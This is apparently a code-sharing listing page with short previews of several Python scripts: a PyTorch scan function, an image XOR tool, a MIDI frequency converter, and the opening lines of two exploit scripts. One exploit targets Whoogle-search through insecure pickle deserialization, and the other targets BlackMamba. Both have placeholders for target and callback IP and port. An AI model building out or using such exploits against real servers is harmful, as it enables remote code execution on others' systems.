This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import torch.optim as optim | |
| import torch.nn as nn | |
| from torchvision import datasets, transforms | |
| import torch, math | |
| import torch.nn.functional as F | |
| def selective_scan(u, dt, A, B, C, D): | |
| dA = torch.einsum('bld,dn->bldn', dt, A) | |
| dB_u = torch.einsum('bld,bld,bln->bldn', dt, u, B) | |
| dA = dA.clamp(min=-20) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import numpy as np | |
| from PIL import Image | |
| import sys | |
| def shift_and_xor(image_path, output_path, threshold): | |
| img = Image.open(image_path) | |
| img_array = np.array(img) | |
| shifted = np.zeros_like(img_array) | |
| shifted[1:, 1:] = img_array[:-1, :-1] | |
| result = img_array ^ shifted |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import mido, time | |
| mid = mido.MidiFile('thick.mid') | |
| def note2freq(note): | |
| if note == 0: | |
| return 0 | |
| a = 440 | |
| fq = (a / 32) * (2 ** ((note - 9) / 12)) | |
| return round(1000000 / (2 * fq)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # https://github.com/benbusby/whoogle-search RCE EXPLOIT | |
| # https://github.com/benbusby/whoogle-search/blob/main/app/models/config.py#L265 - insecure pickle deserialize | |
| # PATCHED IN https://github.com/benbusby/whoogle-search/commit/223f00c3c0533423114f99b30c561278bc0b42ba | |
| # Copyright fern89, 2024 | |
| # https://fern89.github.io/posts/whoogle-rce/ | |
| import pickle, os, base64, brotli, urllib.parse, requests | |
| targ = "http://[SERVER]/" | |
| ipport = '("[IP]",[PORT])' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # https://github.com/loseys/BlackMamba EXPLOIT | |
| # Copyright fern89, 2024 | |
| import socket | |
| import base64 | |
| from cryptography.fernet import Fernet | |
| ip = '[IP of remote server]' | |
| port = [PORT of remote server] |